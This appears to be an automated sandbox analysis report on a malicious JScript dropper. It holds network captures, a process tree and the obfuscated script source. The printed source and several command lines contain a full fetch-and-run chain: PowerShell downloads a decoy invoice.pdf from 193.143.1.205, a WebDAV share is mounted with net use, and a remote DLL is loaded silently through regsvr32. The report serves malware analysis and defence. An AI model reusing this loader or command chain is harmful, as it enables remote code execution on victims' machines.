Jan 10, 2025 18:14:44.736764908 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 18:14:44.736778021 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 18:14:44.736793041 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 18:14:44.736805916 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 10, 2025 18:14:44.736819983 CET	1220	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d Data Ascii: \|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY
Jan 10, 2025 18:14:44.791465998 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a Data Ascii: 1000czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49784	193.143.1.205	8888	6448	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:14:46.597574949 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:14:47.387358904 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:14:47 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:14:35
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\229242754773566299.js"
Imagebase:	0x7ff6ab790000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:14:36
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll
Imagebase:	0x7ff7f4ba0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:14:36
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:14:36
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:14:45
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:14:45
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f4ba0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:14:45
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6c9200000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:14:46
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:14:46
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:14:46
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1380,i,12313023913418005986,17270037766664575740,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function xcnwo() {	xcnwo() ➔ undefined
1	iaylxqjpi = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var jkhlibj = this[xjcuy + dupxnalve + tspeurk + jzfhoifm + izdrmsm + htvnqp + guvwmp + iufibnqn] ( this[yzfdlf + vgglgnxjv + cnmjza + tspeurk + rvvjurhc + xjcuy + iufibnqn][eifsfoser + tspeurk + izdrmsm + dupxnalve + iufibnqn + izdrmsm + razwnc + vonuhfdsz + awazz + izdrmsm + cnmjza + iufibnqn] ( yzfdlf + vgglgnxjv + cnmjza + tspeurk + rvvjurhc + xjcuy + iufibnqn + pjsrvzby + vgglgnxjv + raesuufn + izdrmsm + npollyfz + npollyfz ) [sqdpcghml + izdrmsm + valdyri + sqdpcghml + izdrmsm + dupxnalve + krwyw] ( bjitzr + mixfle + wbkejou + qineqpm + pssuz + eifsfoser + fyeglabv + sqdpcghml + sqdpcghml + wbkejou + yemcoxydl + vlhig + pssuz + fyeglabv + vgglgnxjv + wbkejou + sqdpcghml + pvhbdtrr + eifsfoser + lxohpdxg + guvwmp + iufibnqn + tspeurk + lxohpdxg + npollyfz + zgspo + hejlkqw + dupxnalve + guvwmp + izdrmsm + npollyfz + pvhbdtrr + htvnqp + guvwmp + iufibnqn + izdrmsm + tspeurk + guvwmp + dupxnalve + iufibnqn + rvvjurhc + lxohpdxg + guvwmp + dupxnalve + npollyfz + pvhbdtrr + dxseqmrs + lxohpdxg + cnmjza + dupxnalve + npollyfz + izdrmsm ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( nojlpz = 0 ; nojlpz < iaylxqjpi[npollyfz + izdrmsm + guvwmp + valdyri + iufibnqn + raesuufn] ; ++ nojlpz )
4	{
5	if ( jkhlibj == iaylxqjpi[nojlpz] )
6	{
7	jkhlibj = true;
8	break ;
9	}
10	}
11	if ( jkhlibj !== true )
12	this[yzfdlf + vgglgnxjv + cnmjza + tspeurk + rvvjurhc + xjcuy + iufibnqn][jezbzzlpk + asqghib + rvvjurhc + iufibnqn] ( );
13	this[yzfdlf + vgglgnxjv + cnmjza + tspeurk + rvvjurhc + xjcuy + iufibnqn][eifsfoser + tspeurk + izdrmsm + dupxnalve + iufibnqn + izdrmsm + razwnc + vonuhfdsz + awazz + izdrmsm + cnmjza + iufibnqn] ( yzfdlf + vgglgnxjv + cnmjza + tspeurk + rvvjurhc + xjcuy + iufibnqn + pjsrvzby + vgglgnxjv + raesuufn + izdrmsm + npollyfz + npollyfz ) [tspeurk + asqghib + guvwmp] ( cnmjza + binvsywzu + krwyw + zgspo + brnqfwx + cnmjza + zgspo + xjcuy + lxohpdxg + bbyxafqj + izdrmsm + tspeurk + jzfhoifm + raesuufn + izdrmsm + npollyfz + npollyfz + pjsrvzby + izdrmsm + lsswog + izdrmsm + zgspo + nophv + eifsfoser + lxohpdxg + binvsywzu + binvsywzu + dupxnalve + guvwmp + krwyw + zgspo + zpjdlsqsz + htvnqp + guvwmp + bycpzck + lxohpdxg + mkedlhfwr + izdrmsm + nophv + yzfdlf + izdrmsm + vonuhfdsz + sqdpcghml + izdrmsm + mqntvzj + asqghib + izdrmsm + jzfhoifm + iufibnqn + zgspo + nophv + razwnc + asqghib + iufibnqn + pqpkr + rvvjurhc + npollyfz + izdrmsm + zgspo + inyswfz + iufibnqn + izdrmsm + binvsywzu + xjcuy + inyswfz + pvhbdtrr + rvvjurhc + guvwmp + bycpzck + lxohpdxg + rvvjurhc + cnmjza + izdrmsm + pjsrvzby + xjcuy + krwyw + tbqjsw + zgspo + raesuufn + iufibnqn + iufibnqn + xjcuy + xsrkzbzrs + brnqfwx + brnqfwx + gjhno + gcdutf + tmkqryt + pjsrvzby + gjhno + socrvi + tmkqryt + pjsrvzby + gjhno + pjsrvzby + jdtsvocl + ysihko + ovlcw + brnqfwx + rvvjurhc + guvwmp + bycpzck + lxohpdxg + rvvjurhc + cnmjza + izdrmsm + pjsrvzby + xjcuy + raesuufn + xjcuy + zpjdlsqsz + zqmflarsm + zqmflarsm + jzfhoifm + iufibnqn + dupxnalve + tspeurk + iufibnqn + zgspo + inyswfz + iufibnqn + izdrmsm + binvsywzu + xjcuy + inyswfz + pvhbdtrr + rvvjurhc + guvwmp + bycpzck + lxohpdxg + rvvjurhc + cnmjza + izdrmsm + pjsrvzby + xjcuy + krwyw + tbqjsw + zqmflarsm + zqmflarsm + cnmjza + binvsywzu + krwyw + zgspo + brnqfwx + cnmjza + zgspo + guvwmp + izdrmsm + iufibnqn + zgspo + asqghib + jzfhoifm + izdrmsm + zgspo + pvhbdtrr + pvhbdtrr + gjhno + gcdutf + tmkqryt + pjsrvzby + gjhno + socrvi + tmkqryt + pjsrvzby + gjhno + pjsrvzby + jdtsvocl + ysihko + ovlcw + xwflbm + aysukxhv + aysukxhv + aysukxhv + aysukxhv + pvhbdtrr + krwyw + dupxnalve + bycpzck + bbyxafqj + bbyxafqj + bbyxafqj + tspeurk + lxohpdxg + lxohpdxg + iufibnqn + pvhbdtrr + zqmflarsm + zqmflarsm + cnmjza + binvsywzu + krwyw + zgspo + brnqfwx + cnmjza + zgspo + tspeurk + izdrmsm + valdyri + jzfhoifm + bycpzck + tspeurk + tmkqryt + jdtsvocl + zgspo + brnqfwx + jzfhoifm + zgspo + pvhbdtrr + pvhbdtrr + gjhno + gcdutf + tmkqryt + pjsrvzby + gjhno + socrvi + tmkqryt + pjsrvzby + gjhno + pjsrvzby + jdtsvocl + ysihko + ovlcw + xwflbm + aysukxhv + aysukxhv + aysukxhv + aysukxhv + pvhbdtrr + krwyw + dupxnalve + bycpzck + bbyxafqj + bbyxafqj + bbyxafqj + tspeurk + lxohpdxg + lxohpdxg + iufibnqn + pvhbdtrr + jdtsvocl + uljxqw + tmkqryt + gjhno + tmkqryt + gjhno + tmkqryt + socrvi + tmkqryt + uljxqw + tmkqryt + gjhno + gcdutf + mdpek + mdpek + pjsrvzby + krwyw + npollyfz + npollyfz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\263131343631977.dll",0,false) ➔ 0
14	}
15	zpjdlsqsz = "v";
16	zpjdlsqsz = "R";
17	zpjdlsqsz = "k";
18	zpjdlsqsz = "Q";
19	zpjdlsqsz = "p";
20	zpjdlsqsz = "l";
21	zpjdlsqsz = "V";
22	zpjdlsqsz = "r";
23	zpjdlsqsz = "l";
24	zpjdlsqsz = "n";
25	zpjdlsqsz = "J";
26	zpjdlsqsz = "a";
27	zpjdlsqsz = "y";
28	zpjdlsqsz = "D";
29	zpjdlsqsz = "O";
30	zpjdlsqsz = "g";
31	zpjdlsqsz = "O";
32	zpjdlsqsz = "V";
33	zpjdlsqsz = "N";
34	zpjdlsqsz = "M";
35	zpjdlsqsz = "Z";
36	zpjdlsqsz = "G";
37	zpjdlsqsz = "i";
38	zpjdlsqsz = "Q";
39	zpjdlsqsz = "e";
40	zpjdlsqsz = "B";
41	zpjdlsqsz = "O";
42	zpjdlsqsz = "y";
43	zpjdlsqsz = "L";
44	zpjdlsqsz = "\"";
45	valdyri = "g";
46	valdyri = "F";
47	valdyri = "x";
48	valdyri = "G";
49	valdyri = "Y";
50	valdyri = "Z";
51	valdyri = "x";
52	valdyri = "L";
53	valdyri = "b";
54	valdyri = "V";
55	valdyri = "N";
56	valdyri = "J";
57	valdyri = "H";
58	valdyri = "Z";
59	valdyri = "J";
60	valdyri = "n";
61	valdyri = "w";
62	valdyri = "a";
63	valdyri = "b";
64	valdyri = "U";
65	valdyri = "E";
66	valdyri = "y";
67	valdyri = "g";
68	valdyri = "Y";
69	valdyri = "I";
70	valdyri = "W";
71	valdyri = "K";
72	valdyri = "F";
73	valdyri = "A";
74	valdyri = "e";
75	valdyri = "I";
76	valdyri = "L";
77	valdyri = "t";
78	valdyri = "e";
79	valdyri = "i";
80	valdyri = "s";
81	valdyri = "p";
82	valdyri = "a";
83	valdyri = "T";
84	valdyri = "g";
85	jezbzzlpk = "S";
86	jezbzzlpk = "P";
87	jezbzzlpk = "e";
88	jezbzzlpk = "v";
89	jezbzzlpk = "a";
90	jezbzzlpk = "c";
91	jezbzzlpk = "Q";
92	jezbzzlpk = "D";
93	jezbzzlpk = "T";
94	jezbzzlpk = "b";
95	jezbzzlpk = "E";
96	jezbzzlpk = "t";
97	jezbzzlpk = "T";
98	jezbzzlpk = "o";
99	jezbzzlpk = "G";
100	jezbzzlpk = "z";
101	jezbzzlpk = "B";
102	jezbzzlpk = "P";
103	jezbzzlpk = "z";
104	jezbzzlpk = "E";
105	jezbzzlpk = "Q";
106	fyeglabv = "s";
107	fyeglabv = "P";
108	fyeglabv = "g";
109	fyeglabv = "x";
110	fyeglabv = "f";
111	fyeglabv = "U";
112	fyeglabv = "B";
113	fyeglabv = "t";
114	fyeglabv = "X";
115	fyeglabv = "T";
116	fyeglabv = "B";
117	fyeglabv = "e";
118	fyeglabv = "L";
119	fyeglabv = "x";
120	fyeglabv = "U";
121	krwyw = "x";
122	krwyw = "d";
123	krwyw = "O";
124	krwyw = "D";
125	krwyw = "k";
126	krwyw = "u";
127	krwyw = "y";
128	krwyw = "Y";
129	krwyw = "h";
130	krwyw = "S";
131	krwyw = "U";
132	krwyw = "B";
133	krwyw = "I";
134	krwyw = "S";
135	krwyw = "a";
136	krwyw = "x";
137	krwyw = "d";
138	asqghib = "R";
139	asqghib = "T";
140	asqghib = "G";
141	asqghib = "I";
142	asqghib = "g";
143	asqghib = "R";
144	asqghib = "A";
145	asqghib = "B";
146	asqghib = "D";
147	asqghib = "x";
148	asqghib = "G";
149	asqghib = "p";
150	asqghib = "y";
151	asqghib = "z";
152	asqghib = "c";
153	asqghib = "T";
154	asqghib = "q";
155	asqghib = "i";
156	asqghib = "K";
157	asqghib = "z";
158	asqghib = "f";
159	asqghib = "L";
160	asqghib = "X";
161	asqghib = "F";
162	asqghib = "o";
163	asqghib = "b";
164	asqghib = "M";
165	asqghib = "A";
166	asqghib = "M";
167	asqghib = "b";
168	asqghib = "j";
169	asqghib = "u";
170	uljxqw = "J";
171	uljxqw = "C";
172	uljxqw = "c";
173	uljxqw = "W";
174	uljxqw = "v";
175	uljxqw = "T";
176	uljxqw = "n";
177	uljxqw = "W";
178	uljxqw = "c";
179	uljxqw = "G";
180	uljxqw = "6";
181	tmkqryt = "m";
182	tmkqryt = "d";
183	tmkqryt = "R";
184	tmkqryt = "J";
185	tmkqryt = "i";
186	tmkqryt = "K";
187	tmkqryt = "H";
188	tmkqryt = "i";
189	tmkqryt = "T";
190	tmkqryt = "p";
191	tmkqryt = "m";
192	tmkqryt = "b";
193	tmkqryt = "X";
194	tmkqryt = "s";
195	tmkqryt = "N";
196	tmkqryt = "l";
197	tmkqryt = "w";
198	tmkqryt = "o";
199	tmkqryt = "F";
200	tmkqryt = "u";
201	tmkqryt = "R";
202	tmkqryt = "U";
203	tmkqryt = "c";
204	tmkqryt = "l";
205	tmkqryt = "F";
206	tmkqryt = "a";
207	tmkqryt = "k";
208	tmkqryt = "L";
209	tmkqryt = "e";
210	tmkqryt = "P";
211	tmkqryt = "v";
212	tmkqryt = "L";
213	tmkqryt = "o";
214	tmkqryt = "3";
215	vgglgnxjv = "T";
216	vgglgnxjv = "u";
217	vgglgnxjv = "e";
218	vgglgnxjv = "t";
219	vgglgnxjv = "i";
220	vgglgnxjv = "J";
221	vgglgnxjv = "s";
222	vgglgnxjv = "I";
223	vgglgnxjv = "S";
224	pjsrvzby = "P";
225	pjsrvzby = "s";
226	pjsrvzby = "e";
227	pjsrvzby = "q";
228	pjsrvzby = "A";
229	pjsrvzby = "i";
230	pjsrvzby = "Q";
231	pjsrvzby = "B";
232	pjsrvzby = "Q";
233	pjsrvzby = "B";
234	pjsrvzby = "L";
235	pjsrvzby = "F";
236	pjsrvzby = "p";
237	pjsrvzby = "U";
238	pjsrvzby = "T";
239	pjsrvzby = "N";
240	pjsrvzby = "Q";
241	pjsrvzby = "A";
242	pjsrvzby = "Z";
243	pjsrvzby = "W";
244	pjsrvzby = "V";
245	pjsrvzby = "h";
246	pjsrvzby = "K";
247	pjsrvzby = "S";
248	pjsrvzby = "Y";
249	pjsrvzby = "f";
250	pjsrvzby = "r";
251	pjsrvzby = "a";
252	pjsrvzby = ".";
253	htvnqp = "M";
254	htvnqp = "G";
255	htvnqp = "r";
256	htvnqp = "Z";
257	htvnqp = "S";
258	htvnqp = "I";
259	xsrkzbzrs = "t";
260	xsrkzbzrs = "v";
261	xsrkzbzrs = "k";
262	xsrkzbzrs = "o";
263	xsrkzbzrs = ":";
264	raesuufn = "E";
265	raesuufn = "J";
266	raesuufn = "N";
267	raesuufn = "M";
268	raesuufn = "E";
269	raesuufn = "P";
270	raesuufn = "m";
271	raesuufn = "O";
272	raesuufn = "A";
273	raesuufn = "u";
274	raesuufn = "d";
275	raesuufn = "c";
276	raesuufn = "P";
277	raesuufn = "V";
278	raesuufn = "l";
279	raesuufn = "i";
280	raesuufn = "N";
281	raesuufn = "u";
282	raesuufn = "i";
283	raesuufn = "d";
284	raesuufn = "S";
285	raesuufn = "L";
286	raesuufn = "M";
287	raesuufn = "l";
288	raesuufn = "b";
289	raesuufn = "z";
290	raesuufn = "x";
291	raesuufn = "Y";
292	raesuufn = "h";
293	mixfle = "q";
294	mixfle = "f";
295	mixfle = "k";
296	mixfle = "P";
297	mixfle = "f";
298	mixfle = "d";
299	mixfle = "m";
300	mixfle = "g";
301	mixfle = "T";
302	mixfle = "j";
303	mixfle = "e";
304	mixfle = "p";
305	mixfle = "a";
306	mixfle = "x";
307	mixfle = "t";
308	mixfle = "K";
309	wbkejou = "b";
310	wbkejou = "a";
311	wbkejou = "C";
312	wbkejou = "K";
313	wbkejou = "d";
314	wbkejou = "e";
315	wbkejou = "r";
316	wbkejou = "s";
317	wbkejou = "S";
318	wbkejou = "D";
319	wbkejou = "s";
320	wbkejou = "u";
321	wbkejou = "a";
322	wbkejou = "A";
323	wbkejou = "f";
324	wbkejou = "N";
325	wbkejou = "o";
326	wbkejou = "X";
327	wbkejou = "b";
328	wbkejou = "I";
329	wbkejou = "E";
330	wbkejou = "D";
331	wbkejou = "O";
332	wbkejou = "r";
333	wbkejou = "W";
334	wbkejou = "J";
335	wbkejou = "j";
336	wbkejou = "O";
337	wbkejou = "C";
338	wbkejou = "k";
339	wbkejou = "L";
340	wbkejou = "Y";
341	wbkejou = "k";
342	wbkejou = "T";
343	wbkejou = "j";
344	wbkejou = "E";
345	wbkejou = "E";
346	yzfdlf = "E";
347	yzfdlf = "z";
348	yzfdlf = "Z";
349	yzfdlf = "F";
350	yzfdlf = "U";
351	yzfdlf = "z";
352	yzfdlf = "d";
353	yzfdlf = "x";
354	yzfdlf = "u";
355	yzfdlf = "n";
356	yzfdlf = "w";
357	yzfdlf = "F";
358	yzfdlf = "W";
359	yzfdlf = "r";
360	yzfdlf = "r";
361	yzfdlf = "G";
362	yzfdlf = "m";
363	yzfdlf = "w";
364	yzfdlf = "T";
365	yzfdlf = "K";
366	yzfdlf = "Y";
367	yzfdlf = "W";
368	yzfdlf = "F";
369	yzfdlf = "J";
370	yzfdlf = "w";
371	yzfdlf = "d";
372	yzfdlf = "o";
373	yzfdlf = "L";
374	yzfdlf = "G";
375	yzfdlf = "W";
376	ysihko = "P";
377	ysihko = "X";
378	ysihko = "y";
379	ysihko = "g";
380	ysihko = "P";
381	ysihko = "C";
382	ysihko = "I";
383	ysihko = "X";
384	ysihko = "P";
385	ysihko = "S";
386	ysihko = "r";
387	ysihko = "S";
388	ysihko = "T";
389	ysihko = "W";
390	ysihko = "Z";
391	ysihko = "U";
392	ysihko = "w";
393	ysihko = "M";
394	ysihko = "Y";
395	ysihko = "J";
396	ysihko = "Q";
397	ysihko = "Q";
398	ysihko = "a";
399	ysihko = "Y";
400	ysihko = "Z";
401	ysihko = "e";
402	ysihko = "k";
403	ysihko = "W";
404	ysihko = "k";
405	ysihko = "b";
406	ysihko = "0";
407	zqmflarsm = "R";
408	zqmflarsm = "N";
409	zqmflarsm = "h";
410	zqmflarsm = "i";
411	zqmflarsm = "G";
412	zqmflarsm = "b";
413	zqmflarsm = "d";
414	zqmflarsm = "A";
415	zqmflarsm = "C";
416	zqmflarsm = "V";
417	zqmflarsm = "P";
418	zqmflarsm = "t";
419	zqmflarsm = "V";
420	zqmflarsm = "r";
421	zqmflarsm = "Z";
422	zqmflarsm = "I";
423	zqmflarsm = "j";
424	zqmflarsm = "E";
425	zqmflarsm = "j";
426	zqmflarsm = "h";
427	zqmflarsm = "x";
428	zqmflarsm = "M";
429	zqmflarsm = "p";
430	zqmflarsm = "&";
431	aysukxhv = "M";
432	aysukxhv = "u";
433	aysukxhv = "J";
434	aysukxhv = "R";
435	aysukxhv = "Q";
436	aysukxhv = "O";
437	aysukxhv = "z";
438	aysukxhv = "L";
439	aysukxhv = "M";
440	aysukxhv = "y";
441	aysukxhv = "D";
442	aysukxhv = "t";
443	aysukxhv = "V";
444	aysukxhv = "t";
445	aysukxhv = "L";
446	aysukxhv = "B";
447	aysukxhv = "Z";
448	aysukxhv = "C";
449	aysukxhv = "8";
450	pqpkr = "L";
451	pqpkr = "K";
452	pqpkr = "F";
453	pqpkr = "z";
454	pqpkr = "R";
455	pqpkr = "b";
456	pqpkr = "V";
457	pqpkr = "A";
458	pqpkr = "g";
459	pqpkr = "u";
460	pqpkr = "i";
461	pqpkr = "k";
462	pqpkr = "F";
463	pqpkr = "n";
464	pqpkr = "q";
465	pqpkr = "W";
466	pqpkr = "D";
467	pqpkr = "r";
468	pqpkr = "y";
469	pqpkr = "l";
470	pqpkr = "l";
471	pqpkr = "L";
472	pqpkr = "u";
473	pqpkr = "B";
474	pqpkr = "S";
475	pqpkr = "E";
476	pqpkr = "T";
477	pqpkr = "r";
478	pqpkr = "B";
479	pqpkr = "Z";
480	pqpkr = "w";
481	pqpkr = "D";
482	pqpkr = "I";
483	pqpkr = "u";
484	pqpkr = "X";
485	pqpkr = "o";
486	pqpkr = "u";
487	pqpkr = "U";
488	pqpkr = "X";
489	pqpkr = "m";
490	pqpkr = "I";
491	pqpkr = "F";
492	mkedlhfwr = "e";
493	mkedlhfwr = "n";
494	mkedlhfwr = "O";
495	mkedlhfwr = "E";
496	mkedlhfwr = "t";
497	mkedlhfwr = "s";
498	mkedlhfwr = "C";
499	mkedlhfwr = "W";
500	mkedlhfwr = "U";
501	mkedlhfwr = "U";
502	mkedlhfwr = "V";
503	mkedlhfwr = "k";
504	bbyxafqj = "y";
505	bbyxafqj = "d";
506	bbyxafqj = "L";
507	bbyxafqj = "U";
508	bbyxafqj = "l";
509	bbyxafqj = "k";
510	bbyxafqj = "n";
511	bbyxafqj = "L";
512	bbyxafqj = "O";
513	bbyxafqj = "I";
514	bbyxafqj = "v";
515	bbyxafqj = "z";
